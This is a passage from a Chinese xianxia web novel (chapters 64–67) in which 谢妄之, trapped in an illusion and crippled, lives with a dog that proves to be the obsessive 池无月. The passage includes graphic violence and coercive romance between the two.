他说着便起身,谢妄之挑眉,反给人拉住,好笑道:“你若是也跟着去了,那这里谁坐镇?” “……”裴云峰抿紧嘴唇。 这几日,两人终于见面说话。 谢妄之忍不住逗弄,拿之前的事调侃。但对方故作冷漠,不搭理他。自讨没趣后,他也懒得再说什么。 未想裴云峰忽然道:“现下情况特殊,见面说话方便些,你不要多想。” 谢妄之:“……” 总之,这人虽然面上还在闹别扭,实际还是很关心谢妄之。其实他估计情况与谢妄之想的差不多,但还是担心,想亲自陪着去。 但他们两人确实不能同时离开这里,以免事态恶化,再发生什么不可控的事。 他们还在僵持,白青崖已默默起身站到谢妄之身边。 于是谢妄之冲人抬了抬下颌:“有他跟着够了。” 裴云峰无法,只能由着他,又道:“你再带点人……路上小心。” 谢妄之应了声“嗯”,一副无所谓的样子,拉着人很快离开,池无月和司尘自觉跟上去。 未想数日后,谢妄之一行仍未归。 按理说,出事的城镇离游学地点很近,还只是些小妖,凭谢妄之几人的实力,解决起来就如砍瓜切菜。 而此番许久未归,怕是出了什么事。 裴云峰心中焦虑,勉强凝神处理完手头的事,忽然瞥向一直待在屋中,默默捧着卷书看的巫玥。 他道:“听说你们巫家人还会算卦?” “……” 巫玥初时不肯应,过了会儿忍不住放下书,道:“那不叫算卦。” “不管叫什么,”裴云峰才懒得管什么卦不卦的,开门见山,“你算算,谢妄之他们怎么样了?” “……行。” 巫玥从袖中拿出仪式道具,花里胡哨摆了一桌子,接着开始掐诀念咒。 他的指尖聚起灵光,凭空书写,几道水波隐约浮现,如水面一般。 不知发生什么,水面忽然剧烈波动,像是被煮沸了。 而后“咔嚓”一声—— 巫玥的金属面具碎了。 第65章 小狗。 谢妄之估算错了。 入侵城镇的妖邪来势汹汹,实际规模远超预期,他们的人手完全不够。 并且,他们无法求援。 ——此地笼罩着一层诡异的结界,边缘瘴气弥漫,妖魔盘踞,几乎隔绝了与外部的联络。 谢妄之一行边打边退,几乎耗尽体力,却又陷入不知名的幻境中,难以自拔,无法共同作战。 四周景色飞速变换,空气扭曲模糊。 再看清时,谢妄之发现自己正站在一条大街上,身边是行色匆匆的路人。每个人路过时都刻意远远避开他,蹙眉扫他一眼,满脸鄙夷嫌弃。 他顺势低下头,正见自己衣衫褴褛,双手杵着一根拐杖,实际只是一截未经打磨的粗壮树干。 而杵着拐杖的手,苍白病态,瘦弱得几乎只剩一层皮,骨节突出,手背与腕间的青筋鲜明浮起,仿佛随时会爆裂开来。 仅仅是低头弯腰的动作,后腰忽然传来剧痛,腰背塌软无力,上身只能依靠拐杖支撑。只是这么一会儿,他的手臂已微微发抖,额头与脊背都沁出汗。 谢妄之神色微怔,大脑一片混沌,不明白自己为什么会在这里,又打算去哪儿,只是感觉腹中饥饿,本能循着饭菜的香气往前走。 但路过的酒楼都不肯让他进去,甚至沿街的小吃摊贩老板都摆手将他驱赶,嫌他晦气。 走了不知多久,终于遇见好心人施舍他一个馒头,不足他巴掌大,触感坚硬得犹如石子,咬一口能嚼半年。 他叼着馒头走到街尾的墙根处,贴着墙缓慢坐下,将拐杖放到身边,一点点掰着吃。 忽然听见一阵孩童的嬉闹声,由远及近,最后大概就隔着一堵墙。 他不愿招惹,便将馒头收入袖中,费力撑起身,打算换个地儿。 却听出在孩童们的嬉闹声中,还混着一两声大概是小动物受欺负时发出的可怜呜咽。 他顿了顿,犹豫一会儿,到底是循着声音去看看情况。 只见是几个小孩儿围着一只小黑狗,把它当成蹴鞠似的踢来踢去。一旦小黑狗爬起来要跑,马上有人一脚将它踢翻,随后孩子们便爆发出一阵愉悦的笑声。各个笑得天真烂漫,却叫人脊背发寒。 谢妄之看得蹙眉,强忍剧痛,双手抓着拐杖用力敲了几下地面,大声斥道:“快住手!” 虽然他声音嘶哑,但弄出的动静不算小,孩子们立时循声看来,一脸惊讶,像是发现什么新奇事物,很快围上来。 但凑近到他几步之内,大概是嗅到什么,各个脸色骤变,捂着鼻子飞快退开,另手在面前疯狂扇动,惊叫道:“妈呀,他身上好臭!!” “……” 谢妄之眉头蹙得更深,脸色难看,但到底没说什么,只是又敲了两下地板,见这些小屁孩儿还不肯走,他便主动凑近几步。 果然,效果拔群,孩子们又怪叫一声,随即作鸟兽散,很快跑没影儿了。 见人都走了,谢妄之下意识转头去看那条小黑狗,却见原先的位置早已空无一物,想来是方才趁势跑了,便又回到之前的墙根。 才坐下,他一抬头,只见那条不见了的小黑狗正坐在他面前不远处,静静望着他。 一双眼睛又圆又大,像两颗沾水的葡萄,炯炯有神,毛茸茸的三角耳朵一见他抬头看过去便机灵地抖动一下,浑身毛发乌亮,看上去很有灵性,似乎不是寻常的小狗。 谢妄之瞥了眼,没理会,取出方才的馒头继续掰着吃。 但吃了好一会儿,那条小黑狗还是静静坐在那看他,一动不动,只是看过来的眼神变得炽热湿润。 “你也想吃?” 谢妄之微微挑眉,掰了一块在眼前上下左右晃动,小黑狗顿了一下,脑袋也跟着他上下左右摇摆。 接着,他抬起手臂作势要丢过去,果然看见小黑狗激动得站起来,甚至兴奋得要直接冲过来,但跑两步莫名又顿住了,只在原地向他摇尾吐舌,涎水滴落三尺。 谢妄之忍俊不禁,手臂向前轻轻一甩,但实际没有扔出去,只是绕了一圈,还是把馒头送入自己嘴里,“不给。” “汪!!”小黑狗当即委屈地叫了一声。 谢妄之见状轻笑,又掰了一块作势要丢。 小狗又兴奋起来,连“汪”了两声,疯狂地对他摇尾巴。 但谢妄之还是喂进了自己嘴里,就这样来回耍了小狗三四五六七八次。 小狗似乎很是气恼委屈,冲着他连“汪”了好几声,顿了会儿又继续“汪”,叫了好一阵,不知道骂得有多难听。 谢妄之强忍着笑,故作镇定地听了半晌,终于善心大发,丢了一块过去,“闭嘴。” 小狗立刻不叫了,迈着小短腿哒哒哒地跑近几步,低下头吃,很快就吃完了,又抬起头巴巴地看他,不停冲他摇尾巴,完全不记得谢妄之才耍了它足足八次,翘起的尾巴毛甩成了小旋风。 于是谢妄之又丢了一块,比刚才的近一些,等小狗吃完又丢一块,一次比一次丢得近,直把小狗引到自己身前。 馒头已经分完了,他却装作还有,向小狗摊开掌心,轻声道:“过来。” 小狗一副不识人心险恶的模样,立即凑上来。他却飞快握住拳头,作势把馒头藏起来,惹得小狗不停歪头蹭他,用毛茸茸的脑袋拱他的手,又伸舌讨好地舔他。 谢妄之奸计得逞,一面任由小狗拱来拱去,就是握着拳头,一面伸了另一手摸狗,顺着脊背从头摸到尾,来回揉着狗头、搔着下巴肆意作弄。 等玩过瘾,他才张开手,露出空无一物的掌心,低笑了声,“骗你的,没有吃的了。你去别处玩吧,我要走了。” 他说着便轻推开小狗,拿起放在一旁的拐杖撑起身要走。 小狗呆了一下,冲他连“汪”了两声,不知道在说什么,但他没理会。 走了一阵,他听出身后一直有东西跟着,猜测是那只狗,犹豫了会儿,还是忍不住回头。 果然是那只小狗不远不近缀在他身后,见他回头,竟如人类一般表现出慌张神色,立刻原地坐下,扭头看向别处。 谢妄之轻轻挑眉,但到底没有理会,继续往前。 “汪!汪汪!!” 小狗急了,连冲他叫了几声,随即飞快哒哒哒跑到他面前,抬起前爪轻按在他的小腿上,试图将他拦下。 谢妄之顺势停住,好笑问:“你想跟着我?” “汪!”小狗立刻应了声,咧开嘴吐出舌头,像是在笑,尾巴甩得毛炸开了花。 “你也想跟着我一起三天饿九顿?” “汪!” 谢妄之唇边笑意愈深,可说完又很快沉下脸,眸光黯淡,“……算了吧。” 说罢,他绕开小狗继续往前。 “汪!!” 未想到,小狗又追上他,身体一歪,躺倒在他脚背上,露出雪白的肚皮,还咬住他的衣摆,反正就是赖着不让走。 “诶,你这狗!” 谢妄之又好气又好笑,也没办法,只得点头。 本来以为多了一条狗,填饱肚子会变得更艰难,未想到将狗养在身边后,他的运气莫名变好,总有许多意外收获。 小狗不挑食,他吃什么狗就跟着吃什么,食量也不大,倒是挺好养活,每晚都要紧挨着他睡,钻进他的怀中。暖乎乎毛茸茸的身体抱起来手感特别好,即便在深冬的夜里也不会觉得冷。 开春以后,这只小狗长得很快,越来越漂亮威风,几乎有他半人高,有时还能充当他的拐杖,或是驮着他走。 小狗还会打猎,打个盹儿的功夫就能给他带回来几只山鸡或是野兔。 最初,谢妄之简单处理以后,先分了大半给它,剩下的架在火上烤。未想到这狗不肯吃生食,全部用脑袋拱到他身边,冲他叫唤,一会儿看他一会儿看火。 “哪有小狗吃不了生食的?” 谢妄之已经习惯这崽子的不同寻常,也知道小狗其实不是“狗”,一边调侃一边烤。结果弄出来,一堆外表焦黑,内里还是生的。 看见小狗拿爪子扒拉,似乎不知从何下嘴,还有些嫌弃的样子,谢妄之微微脸热,全部夺回来,边骂道:“有得吃还嫌!我只是手生了,给我等着,我重新弄!” 当然,他从前养尊处优,这种事从来不必他亲自做,根本不是“手生”,是“不会”。 所以最后弄出来的东西只是勉强好了些,也谈不上美味,但小狗还是全部吃完了。 一人一狗就这样相依为命。谢妄之还给小狗起了名字。分明是只小黑狗,偏偏要叫人家“小白”。 直到深秋过后,又入冬了。 在一个下雪的日子,小狗忽然不辞而别。 谢妄之初时没有想太多,直到傍晚依然没看见小狗,彻底慌了神。 “小白!小白你在哪里!你再不回来我就不要你了!” 他拄着那根破拐四处找,一边找一边喊,喊到声音嘶哑,嘴上是这么说,实际急得双眼发红。又担心小狗是遇到什么妖邪,被吃掉了,竟一头扎进危险的密林。 他确实是慌乱,全然忘记自己行动不便,且是最需保护的那个,还只顾找,没看清路。 在路过一处陡坡时,他不慎踏空,整个人沿着坡滚下去,重重磕在一处嶙峋山石。 浑身的骨头都像是撞碎了,五脏六腑都被搅在一起,眼前炸开一片白茫茫的光,耳畔嗡鸣阵阵。 等他终于缓过劲,却发觉周遭已然一片昏暗,树影幢幢,银钩似的月亮嵌在枯瘦树枝间的窄小缝隙,光辉也被切割,变成一缕一缕。而他的拐杖不知掉在哪里。 没有拐杖,他便无法直立行走,腰背塌软无力,只能靠匍匐前进。又因为体力不支、摔得太狠,爬一会儿便要歇息一阵。 不出片刻,他已浑身大汗淋漓,只得趴在地上,像一滩烂泥。 他忍不住伸手到自己眼前,试探着握拳,却发现根本使不上劲,手指奋力曲起,指尖却掐不住掌心。与此同时,浑身经脉如火烧灼般刺痛,内里一丝灵力也无,像是干涸到开裂的河床。 经脉刺痛一直伴随着他,可遇见小狗以后,这样狼狈落魄、屈辱无力,倒很久没再有过,竟有些不适应。 不等他再感受感慨什么,忽从远处传来枯枝败叶被踏碎的窸窣声响,由远及近,很快便清晰抵至耳畔。 他抬起头,只见黑色的密林中逐渐亮起一双双幽绿色的眼睛,将他包围。 谢妄之立时浑身紧绷,紧接着,身后传来破空声响。他下意识回头,只见几匹狼同时向他扑咬而来,尖锐獠牙在夜色中泛着森冷寒光。 他瞳孔骤缩,拼尽全力用双臂撑着身体就地翻滚,于千钧一发之际,恰好躲开率先那匹狼的攻击。 但第三只狼咬住了他的腿。 獠牙一瞬刺穿皮肉、咬住了骨头,发出清晰碎裂声响的同时,难以言喻的锐痛几乎令身体麻痹,动弹不得。 而这些野兽不会给他丝毫喘息时间。 那匹狼立时叼着他的腿往外撕扯,将他拖行数尺距离。而扑空的几只狼很快调转身位,上肢压低,喉咙滚出危险闷响,幽绿眼睛紧盯着他,仿佛下一刻就要扑上来。 “滚开!!——” 谢妄之又惧又怒,双手抓着几株坚韧野草,拼命挣扎踢蹬,却怎么都挣不脱。 眼看另几匹狼很快凑近,要将他分食,谢妄之目眦欲裂,身体忽然爆发出巨大力量,竟是一脚将撕扯着小腿的那匹狼踹出数丈远。 但这股力量只维持了短短一瞬,而狼群被他刺激,喉咙滚出的闷雷声猝然停止,立时向他扑咬! 几只狼同时咬住了他,四肢被沿着不同方向撕扯拖拽,筋骨与韧带拉扯到濒临撕裂,皮肉也被撕扯着咬下,温热鲜血喷溅在脸上。 短短几息,他已被咬得浑身是血,伤处深可见骨。神思却在剧痛中愈发清醒,胸中盈满愤怒与不甘,双眸一瞬充斥猩红血色。 在肩膀被獠牙洞穿、传来清晰的脆响时,他的喉间爆发出嘶吼,猛地咬住近在咫尺的狼耳,发狠地甩头撕扯,竟硬生生将其咬下! 腥臭血液灌满口腔,冲得令人作呕,碎骨划破舌头传来刺痛,却有一种难以言喻的快感在脑中炸开,头皮阵阵发麻。 他紧接着伸手一掏,五指穿透狼腹,抓住内里的脏器与肠子往外狠拽、捏碎。 鲜血猛地喷溅出来,触感粘稠温热,顺着手臂与脖颈流淌,仿佛流进他的胸膛,为他的身体灌注了力量,大脑愈发兴奋。 一只狼被他杀死,其余的好像被震慑了,微微退开些许,又伏低身子,喉中滚出闷响,獠牙毕露,还挂着几丝血肉。 他好像感觉不到周身传来的剧痛,竟靠着自己缓慢站直了身,环顾四周。 却见几只狼背后,黑色的密林中,不知不觉间竟如灯笼一般,又逐渐亮起数十双幽绿的眼睛。 “来啊!——” 他猝然发笑,胸中杀意沸腾,双目猩红一片,下颌沾了大片血污与狼毛,状若癫狂,浑身浴血,宛如一尊杀神,天上银钩不及他半分凌厉孤峭。 在几只狼同时向他扑袭时,死水般的识海猝然传来一声嘹亮剑鸣,冰蓝色的流光穿破夜色,所经之处,鲜血如雾般散开。 而后,那柄剑自虚空缓慢坠落,冰蓝色的剑身散出莹白华光,却如萤火扑朔,像是一道随时会消散的虚影。 是随心剑。 谢妄之陡然睁大眼,惊喜非常的同时亦悲恸不已,视野一瞬模糊,鼻尖酸涩。 下一刻,藏于暗处的狼群向他奔袭扑咬,他本能地握住剑柄,感受着身体短暂的力量充盈感,与之厮杀。 他一次又一次挥剑,剑锋所及之处,狼群化作枯骨,在他脚边堆叠。 直到最后一匹狼被他贯穿喉骨钉在地上,识海又响起一声剑鸣,喑哑得听不清。 不等他反应过来,手中剑寸寸开裂,碎成星尘,一息间便消逝得无影无踪,如一片新雪落于指尖,只残余一抹冰凉湿润。 剑柄消失,紧握的指尖终于能掐进掌心。 谢妄之却陡然脱力,跪倒在一片狼尸中,久久静默,泪痕爬了满脸。 沦为残废之后,他已没有灵力再驱动随心剑,也再无法支撑随心运行的消耗。 但随心奉他为主,甘愿以本体崩毁为代价,最后一次为他效劳。 痛失爱剑,仿佛硬生生从胸口剜出一根肋骨。谢妄之被淹没在巨大悲痛中,忘了此时正身处危机四伏的密林。 在他心神松懈时,后头忽然又传来一道破空声响,有什么东西在向他急速靠近,似是又一只猛兽向他扑咬。 直到对方临到近前,他才回过神,想起身躲开,但方才杀灭狼群已用尽他所有的力气,此时的身体当真如一滩烂泥,他再站不起来。 甚至其实无需再经受什么,他已然撑不过今晚。 但他并未受到预想中的攻击。 只闻见一阵刀剑入肉般的噗呲声,继而是令人牙酸的骨头碎裂声,最后是重物轰然倾倒在地的巨大闷响。而后万籁俱寂,只剩胸口雷鸣般的跳动与剧烈的喘息。 他缓慢地一点点回过头,只见那只本要袭击他的野兽正躺在地上,被咬开喉管,鲜血淌了一地。 而那只野兽的身边是一头黑狼。 身形硕大,如山一般将他笼罩,浑身皮毛乌黑发亮,月光落在上头,如水流淌。蓬松毛发无风自动,边缘形状模糊,如云如雾。 “小白?!你去哪里了?你知不知道我找了你很久!!” 谢妄之神色微怔,心头猛然涌上失而复得的惊喜。松一口气的同时,接踵而至的是难言的愤怒与委屈。嗓音都沙哑,带着不易察觉的哭腔。 他顾不得太多,当即向小狗爬过去。 那头狼向他俯下身,吻部轻触他的头顶,吐息潮热。 谢妄之莫名眼眶发酸,忍不住低下头。乌发向两侧垂落,露出瘦削的肩膀,微微颤抖,满身污浊,似被折了羽翼、摔进泥中的鹤。 朦胧视野中,似有一人跪在他身前捧起他的脸,温热指腹轻柔拂过他的眼角,叹息一般唤了声“公子”。 “……?” 谢妄之神色一怔,陡然睁大眼,面前那人的相貌随之变得清晰。 果真是池无月。 “滚!” 他猛然挣扎着要退开,但对方不肯轻易放人,手掌锢住他的后脑,上身压低,以一种有些扭曲的姿势吻在他的额头,轻笑问: “为什么要躲,你不是一直在找我么?” “60%……我终于能见你了。” 第66章 我是公子养的狗。 “这是什么意思?谢妄之他们出事了?” 看着面前明显昭示着不同寻常的景象,裴云峰不由眉心紧蹙,双拳攥得微微发汗。 “……算是吧。” 巫玥低声作答,嗓音含糊沙哑,颤着手一片一片揭掉脸上碎裂的面具。 却见底下那张原本俊美无瑕的脸,此刻血痕遍布,狰狞非常。 “这,这是怎么回事……”裴云峰讶然挑眉,心中不好的预感更甚。 巫玥轻轻摇头,从袖中取出巾帕咳出一口血,缓了片刻才道:“方才,我问祂谢妄之的情况,祂没有回答我。而且,不知为何,祂现在好像很生气,或者说……” 说着,他眉头微蹙,斟酌片刻才找到合适的形容:“疯狂。” “你说的‘祂’,是谁?”裴云峰追问。 巫玥还未答话,天色陡然阴沉,室内一瞬昏暗。 两人不约而同看向窗外。 远处,浓云蔽日,紫色的雷龙在云层翻滚游走,利爪撕出横亘天空的银白裂缝。 接着,轰雷贯耳,狂风大作,窗扇门扉被震得颤动,来回砰砰拍打,几乎散架。桌案的书页也被翻动、吹落,哗啦啦响。 强大、暴烈、充满压迫感与破坏性的力量波动隐约自那处传来,叫人悚然一惊。 巫玥面色骤变:“这是谢妄之的劫雷!坏了!” * 幻境中,体力耗尽的谢妄之当场晕厥,理所当然被池无月带回自己的住处。 他昏睡了三日才转醒,一眼便看见池无月守在榻边,那张脸一如既往令人厌恶,便下意识蹙眉转向别侧。 下一刻,一只手扣住他的下颌,强掰过他的脸。 只见池无月垂着头对他微笑,眼神却暗沉:“公子先前不是一直在找我,怎么现在又不愿看见我了?” 谢妄之不想理会,伸手欲拂开对方,但此时身体虚弱,没什么力气,手指只是虚虚搭在对方手腕,颇有种欲迎还拒的意思,眉头不由蹙得更深,冷笑道: “你已不是本公子的奴隶,却还要上赶着给本公子当狗。果然,下贱就是下贱,狗就是狗。” 他本意是羞辱对方,未想池无月忽然俯下身,用脸颊轻蹭他,并不觉得屈辱,只有兴奋,喷在他脸上的气息灼热粗重: “是,我是公子养的狗。” “滚——” 谢妄之怔了一下,沉着脸偏头避开,却被强锢着下颌,攫住嘴唇。 他微微睁大眼,来回扭头挣扎,却始终逃不脱。本要咬一口对方的舌头把人逼退,自己先被纠缠着拖出口腔,肆意吸吮,涎水拉着长丝流淌。 直到舌尖发麻发痛,池无月才略略松开他,又不舍得完全退开,双手撑在他身侧,脸颊埋在他颈窝里,像狗一样来回嗅闻,又伸舌轻舔。 喷洒在侧颈肌肤的气息滚烫湿润,仿佛淋下一阵热雨,痒得身体发颤。谢妄之羞恼更甚,嫌恶地偏头避开,眉心紧蹙:“滚开,别碰我!你让我感到恶心!” “为什么?” 池无月动作微顿,直起身看他,委屈地扁着嘴,眸光闪动,语气可怜幽怨,“明明公子先前每晚都会抱着我睡,亲我的额头,还说我是世上最聪明最乖巧最可爱的小狗,你最喜欢我,而且你——” “闭嘴!我哪有那样说过!我哪知道你是那条狗!” 谢妄之微微睁大眼,听得恼羞成怒,忍不住打断,咬牙切齿。接着他又冷笑了声,“既然你这么喜欢当狗,何不一直当狗?为什么……” 说至一半,他面色更沉,猛地撇开头,薄唇紧抿,神色冷峻。 “公子!我并非故意要以那样的姿态接近你,实在是迫不得已。还有前几日发生了一些事,当时我无法分神,绝不是故意不辞而别……对不起,你别生我的气好不好?对了,你身上还疼不疼,我再帮你上一遍药,好吗?” 池无月微微一怔,很快反应过来,慌忙向他解释道歉,不停讨好地蹭他,语气诚恳,小心翼翼。 但谢妄之无动于衷。 他不明白池无月说的那个数字是什么意思,也无法理解,为什么他救下的那条狗会变成池无月。 更无法接受,自己最狼狈落魄的模样,全被池无月知晓。 任何人都可以,但绝不能是池无月。 与此同时……谢妄之又扫了眼池无月现下的穿衣打扮,还有屋内的装潢布置,心中愈发屈辱不满。 他曾经贵为谢家二公子,吃穿用度都属最上乘,怎认不得那些名贵东西。 这些全都昭示着池无月如今身份不凡,与从前大不相同,与现在的他有如天壤之别。 却正好与他曾经从天道那处知晓的内容对应——池无月是天命之子,他只是下场凄惨的炮灰。 他一直对此事耿耿于怀,甚至怀恨在心,嫉妒、迁怒着池无月。 并且,什么叫“迫不得已”、“并非故意”?这又算什么解释呢? 谢妄之暗自冷笑,却懒得追问——若是愿意说,早便主动开口了,何必等他再问。 见谢妄之始终冷着脸不答话,池无月心中忐忑,默了会儿又轻声问:“公子,我找回了你的剑骨,我替你接上去好不好?” 终于,谢妄之瞥来一眼,眸中却满是怀疑与嘲讽,嗤笑了声:“你会这般好心?” 池无月顿时更加委屈,眼尾微微发红,像是快哭了,“难道公子不信我么?” “呵。”谢妄之没答话,唇边勾起弧度略略扩大,嘲讽之意更甚,又撇开头,余光都欠奉。 “……” 池无月缓慢收起委屈表情,眸色愈发暗沉,盯了谢妄之一会儿,猛然伸手用力掐住对方的下颌一抬,低头又覆上去。 他动作疯狂,残暴得近乎肆虐,直把人吻得不停激烈挣扎,拼命拽着他的头发,在他的唇舌上发狠撕咬,口腔充斥着酸咸的铁锈味。 直到谢妄之快要窒息,他才把人松开,粗喘着气,眼睛仍紧盯着人不放。 曾经的剑道翘楚,同辈望尘莫及的存在,如今只是个直不起腰的残废,被他吻得喘不上气,浑身发软,只能瘫在床褥里。 鬓发微湿,双颊潮红,望过来的眼神凌厉凶狠,却因眸中蓄着春水,只感觉色厉内荏,竟使锋锐深邃的面部轮廓都柔和几分。 那张无情到刻薄的唇,被他吻得湿润,甚至发肿。从微启的唇齿间,依稀可见内里同样肿胀的殷红舌尖。银丝从唇角淌下,向脖颈绵延。 沦为残废的谢妄之,软弱可欺,相当可口,令他极是兴奋。 却也令他心疼心痛。 无论谢妄之是什么模样,他自然都是喜欢的。 但他的公子就该是永远骄傲恣意的,他的公子天生就该被人仰望。 能触到月亮固然很好,可这轮月亮不该被迫下坠。 他明明只配打捞水里的倒影。 可人心是贪婪的。 池无月双手捧着谢妄之的脸,又凑上去,与人唇贴着唇摩挲片刻,轻声道: “我想要的只有公子。只要公子答应,永远不会离开我。” 他希望明月永远高悬于天,却只照到他。 他愿意给谢妄之当狗,永远乖巧听话,前提是主人不会抛弃他,也只养他一条狗。 谢妄之神色狰狞一瞬,紧盯了池无月片刻,终于嗤笑了声,道:“可以。” 剜骨时很痛,接骨更甚。 慢慢又不痛了,只剩湿热与麻痒,似雨一般淋下,密密麻麻,从后颈到肩膀、腰窝和腿根,像身上开了一树梅花。 后来,痛与痒又侵入到身体内部,交织着,骨头都酥软,如潮汐涨落,连绵不休。窗外天光褪去又亮起,数不清多少次。 而谢妄之紧咬着牙,一声没吭。 直到池无月终于餍足离开,直到他再凭自己的力量站起身、挺直背,眼眶才有微微的酸意。 之后,他装着样子,养精蓄锐,实际从没想过遵守承诺。 正巧,池无月也不信任他,面上没有约束他什么,实际他身边到处是眼线。 去了哪里、做了什么、遇见什么人又与对方说了什么话,就连饭桌上多吃了几口什么菜,夜里何时入睡、翻身几次,池无月全都了如指掌。 初时,谢妄之并不知情,只是感觉有道视线一直如影随形追着他。但他从前就习惯万众瞩目,甚至是阴暗潮湿的窥伺,虽然有些不适,但并未太过在意。 直到他无意与旁人多说了两句话,结果当晚就被池无月压在榻上,变着花样折磨,弄到失神恍惚。 他不知道池无月为什么发疯,意识朦胧间,才听对方覆在他耳边咬牙问:“白日与公子说话的那个男人是谁?公子为什么一直盯着他,为什么要对他笑?他长得比我好看吗?” 但谢妄之晕厥了,来不及答话,事后才质问。 未想池无月装傻,神色无辜,还向他撒娇。他再凶一点就只会委屈扁嘴,作势要哭。谢妄之气笑了,但纵使再不满,也没法追究。 后来池无月便愈发肆无忌惮,谢妄之多看别人一眼就要发作,然后趁他崩溃讨饶时为自己谋取利益。比如每日晨起时要主动献上一吻,或是这次少了一炷香,下次就多做一个时辰。 池无月依然唤谢妄之“公子”,会对他下跪,如从前般像狗一样侍奉他。 却逐渐敢奢求他的爱。 谢妄之重新修炼,根本没有瓶颈,进境速度比从前还快。仅两年时间,他便重新修到元婴,可惜还是无法摆脱从前的心障。 而池无月愈发缠他,帮他梳理灵力是惯用的借口,其实谢妄之大部分时候并不需要。 陪池无月玩了两年,已经够久了。 谢妄之沿着布局许久的逃跑路线前进,面无表情地想。尽管他不愿承认这是“逃跑”,但事实如此。 走了会儿,他忍不住回头,见身后空无一物,周遭也是万籁俱寂,似乎很是平静,却还是无法心安,有些惴惴。 但他不可能停下。 他走到渡口,还未登船,后腰处忽然刺痛,令他一下弓起身子。细细感受了片刻,原是曾被剜出剑骨的那片区域。 本以为缓个片刻就能好转,未想疼痛愈发剧烈,经脉也开始烧灼,脊背顷刻间就沁出片冷汗。 他紧咬着牙,回头望了望还没有追兵的身后,心中愈发不安,最后还是强忍着痛要登船。 未想到,腰背忽然像是没有了支撑,瞬间塌软,他整个被迫往前倾倒,好险用手肘撑着才不至于脸先着地。 再抬起头时,只见眼前不知何时落下一双干净无尘的雪色靴履。 他不由僵住。 第67章 公子,忘了我吧。 池无月还是追上来了。 “公子这是要去哪儿,怎么也不与我说一声?我会担心的。” 头顶传来低柔嗓音,语气平静,听不出情绪。 谢妄之咬紧牙,又低下头去,没说话,脸色苍白,嘴唇都失了血色。 “公子这是怎么了?脸色怎么这么难看?” 池无月状似心疼地半跪下身,伸手轻擦去谢妄之额角的细汗。 又顺着往下拂过他脸颊、脖颈、肩膀,手臂圈着他的腰,一把将他揽进怀里。 接着探进他衣襟,手指停在后腰处来回细细摩挲,意味不明地低笑了声,“是这里在疼么?” 对方的手指触感冰冷,沿着身体抚摸,像是被毒蛇爬过。谢妄之忍不住发抖,想躲开,对方却如影随形,死死纠缠。 紧接着,他被迫撞入对方怀中,猝不及防正对上池无月的双眼。 如墨晕染,眼白也被黑色侵占,暗沉无光。分明微勾着唇角,却莫名瘆人。 对视的瞬间,谢妄之心中忽然浮起一个猜测,脊背立时沁出冷汗。 果然,只见池无月轻叹了口气,状似惋惜地道: “奴自知留不住公子,所以当时为公子接骨时,特意设了禁制。只要公子试图离开,那块剑骨便会碎裂。” 碎、裂? 谢妄之瞳孔骤缩,猛地拽紧池无月的衣袖,颤着声追问:“什、什么意思?” “意思就是……”池无月笑容扩大,字字清晰,“从今往后,公子永远离不开我了。” “……”谢妄之浑身僵住,如坠冰窖,呼吸都发颤。 池无月似乎怕他听不懂,又似是想安慰他,又补了一句,边说边向他凑近: “没关系,以后,我就是公子的拐杖——” “啪!” 池无月话音刚落,谢妄之猛地甩了对方一个巴掌,声音清脆震耳。 他用尽了浑身力气,把人扇得偏过头时,自己也因重心不稳,整个仰面躺倒。 他被气得头晕目眩,耳畔嗡鸣阵阵,浑身克制不住地发抖,强烈刻骨的恼怒与仇恨盈满心胸。 一瞬间,万物在他眼中褪色,变得苍白,视野边缘充斥着猩红的丝线,网一般向中心蔓延。 周身经脉中的灵力流逆转,顷刻间运行数十周,直到尽数转为魔息。 浑身苦痛都消失了,取而代之的是难以言喻的兴奋与无穷无尽的力量,仿佛信手一指便能引动一场毁天灭地的风暴。 而事实上,他也确实这么做了。 瘫倒在地的谢妄之,忽然摇晃着身躯缓慢站起,墨发无风自动,衣袍猎猎。点漆双眸只剩眼白,边缘爬满血丝。黑色魔纹缓慢从颌角向脸颊蔓延,荆棘一般。 他忽然发笑,指尖轻轻一勾、一点,整片江水立时冲天而起,化作长龙,呼啸着砸下! 江龙轰然坠下的刹那,池无月神色凛然,手握一把黑雾凝成的长剑,猛然向上一挑。 黑色的剑锋劈开龙首,江水向两侧分割,堆起千丈高的水幕。 也正与紧随其后的、谢妄之的剑尖相触,一瞬迸出的强大气劲足令方圆千里都地动山摇,两人也被震得各自后撤几步。 谢妄之眉峰轻挑,冷笑了声:“没想到,你也会这一招。” “是,公子曾经教过,奴不敢忘。”池无月乖巧应声,仿佛只是回答教书先生的课业抽查。 公子亲自教过他剑法,并不是随意教个一招半式意思意思,而是手把手地认真教。 其实看公子演示一遍他就会了,他却总是佯装愚钝,不过是想让公子多握一会儿他的手。 公子天生矜贵,可望不可即,他只在那一刻能触到对方体温。 未想到,谢妄之闻言愈发恼怒,神色陡然狰狞,双瞳迸出猩红凶光,一瞬又持剑攻来。 身影如虹,携着凛冽风雪,刺骨冷厉。与此同时,被劈开的江龙倏然炸裂,化成万千冰锥,如瀑倾泻。 谢妄之真的想杀池无月。 森冷剑尖毫不犹豫穿透眼前人的胸口,未想那只是一道虚影。 身后陡然伸来两条黑蛇般的东西,缠住他的腰肢与手腕,猛然往后大力一扯,脊背立时撞上身后人的胸膛。 “公子,莫要生气了,你的身体——” “闭嘴!” 不知池无月何时到他身后,靠在他耳边说话,语气担忧。 但谢妄之不等人说完便怒斥了声,剑气一瞬撕碎了缠在身上的黑雾,又转身提剑与人缠斗在一处。 对方只守不攻,身影如雾般分不清虚实。那些黑色的影子也烦人得很,时刻想把他缠住。偶然滑过肌肤,触感潮湿粘稠,像是被什么东西舔了一口。 谢妄之自觉这是一场关乎生死的决斗,倒叫池无月打得黏黏糊糊,暧昧不清,像是猫抓耗子般的耍弄。 他愈发怒不可遏,出招更加凌厉疯狂,终于逼得池无月无法躲闪,只能持剑与他相抗。 二人打得难舍难分,铿锵之声不绝于耳,迸出的强大气劲如涟漪般荡开千里。成排竹子拦腰截断,江水炸起千层骇浪。 但池无月的担忧并非作伪,也不是毫无根据。 剑骨碎裂,怒急攻心,谢妄之被逼彻底入魔,力量恢复自然也有代价,此时更已是强弩之末。 他的脸色愈加苍白,终于在又一次出招时,猛地喷出口鲜血,身形狠狠摇晃了一瞬,而后单膝点地,勉强靠剑支撑。 “公子!” “滚!” 池无月陡然慌乱,下意识抢上前去,却被谢妄之挥出凌厉剑气逼退。 紧接着,谢妄之又喷出口鲜血,只觉视野天旋地转,朦胧不清,身体快要栽倒在地,整张脸也就唇边那道血迹有点颜色。 “公子,不要再这样了,你会——” 